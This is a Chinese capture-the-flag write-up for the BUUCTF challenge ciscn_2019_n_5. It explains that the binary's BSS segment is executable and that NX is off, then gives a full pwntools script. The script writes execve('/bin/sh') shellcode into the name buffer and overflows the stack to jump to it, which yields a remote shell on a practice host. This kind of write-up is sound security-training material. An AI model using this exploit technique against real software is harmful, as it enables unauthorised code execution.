buu-ciscn_2019_n_5-好久不见41

news/2025/2/23 6:04:35

由于目标程序的 BSS 段(包含 name 变量)权限是全开的(可读、可写、可执行),并且没有启用 NX(No Execute,非执行)保护机制,因此可以直接在 BSS 段上构造 Shellcode,并通过溢出覆盖返回地址来执行它

  1. 连接到目标程序:通过 remote 函数建立连接。

  2. 发送 Shellcode:将 Shellcode 发送到目标程序的 name 变量所在的 BSS 段。

  3. 构造并发送溢出 Payload:通过溢出覆盖返回地址,使其跳转到 name 变量的地址,从而执行 Shellcode。

  4. 获取交互式 Shell:如果攻击成功,通过 interactive 函数获取远程 Shell。

BSS 段权限全开溢出覆盖返回地址没有启用 NX 保护机制

  • shellcraft.sh()pwntools 提供的一个函数,用于生成一个简单的 Shellcode,其功能是调用 execve("/bin/sh", NULL, NULL),从而启动一个 shell。

  • asm() 函数将 Shellcode 的汇编代码转换为机器码,使其可以直接在目标程序中执行。

from pwn import *
context(arch='amd64',os='linux',log_level='debug')
 
io =remote("node4.anna.nssctf.cn",28649)
 
shellcode =asm(shellcraft.sh())
io.sendlineafter(b'tell me your name\n',shellcode)
 
name =0x601080
payload =b'a'*(0x20 +8) +p64(name)
 
io.recvuntil(b'What do you want to say to me?\n')
 
io.sendline(payload)
io.interactive()


http://www.niftyadmin.cn/n/5863068.html

相关文章

Eclipse2024中文汉化教程(图文版)

对应Eclipse,部分人需要中文汉化,本章教程,介绍如何对Eclipse进行汉化的具体步骤。 一、汉化前的Eclipse 默认安装Eclipse的时候,默认一般都是English的,我当前版本是使用的是2024-06版本的Eclipse。 二、汉化详细步骤 点击上方菜单选项卡,Hep——Install New Software……

ARM Linux下FFmpeg+Nginx+RTMP 视频监控

一、流媒体协议 RTSP(Real-Time Stream Protocol)由 Real Networks 和 Netscape 共同提出的,基于文本的多媒体播放 控制协议。RTSP 定义流格式,流数据经由 RTP 传输;RTSP 实时效果非常好,适合视频聊天&…

vue中将el-table导出为excel文件

在 Vue Element UI 中,el-table 数据导出 Excel 文件,可以使用 xlsx(SheetJS)库进行处理。以下是详细的实现方法,包括安装依赖、代码示例和优化建议。 1. 安装依赖 首先,安装 xlsx 库: 复制…

宝塔扩容——阿里云如何操作

一、创建快照 磁盘快照,将数据备份,防止丢失。 1.登录“阿里云”账号 2.点击“控制台”——“云服务器 ECS” 3.点击“基本信息”下,右下角“系统盘” 4.点击“创建快照” 二、磁盘扩容 1.点击“云盘扩容” 2. 选择自己要扩容的大小 …

代码笔记插件

idea代码笔记插件 AnNote是一款代码笔记插件,支持多种语言,支持代码高亮,支持代码自动补全,支持搜索、支持附件,支持markdown格式文件 AnNote - IntelliJ IDEs Plugin | Marketplace 75折折扣: MGRYF-TJ…

在WPS中设置word的页码不从第一页开始,从指定页开始插入页码

大家好,我是小鱼。 在日常的办公中为Word文档页面插入页码是经常要做的。如果一个文档有几十页,插入页码不仅可以快速定位到文章的内容,如果需要制作目录也方便制作。正确情况下插入页码都是从第一页开始的,但是有些文档比如说标…

CPU、SOC、MPU、MCU--详细分析四者的区别

一、CPU 与SOC的区别 1.CPU 对于电脑,我们经常提到,处理器,内存,显卡,硬盘四大部分可以组成一个基本的电脑。其中的处理器——Central Processing Unit(中央处理器)。CPU是一台计算机的运算核…

算法与数据结构(环形链表II)

题目 思路 这个题其实与之前环形链表的题差不多,这个麻烦的一点是需要你返回入环的第一个节点。 若我们继续用哈希表还是很简单,就是继续遍历链表,遇到的第一个重复的值即为入环的第一个节点。 这里我们看一下快慢指针的方法。 这里我们假…